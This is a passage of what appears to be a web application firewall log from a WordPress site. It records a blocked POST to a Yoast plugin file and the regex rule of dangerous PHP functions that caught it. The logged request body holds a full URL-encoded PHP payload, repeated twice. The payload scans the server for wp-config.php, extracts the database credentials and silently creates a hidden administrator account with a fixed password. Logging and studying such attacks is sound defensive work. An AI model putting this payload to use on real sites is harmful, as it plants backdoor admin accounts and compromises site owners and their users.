%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:21:57","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\ncmgIbF=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B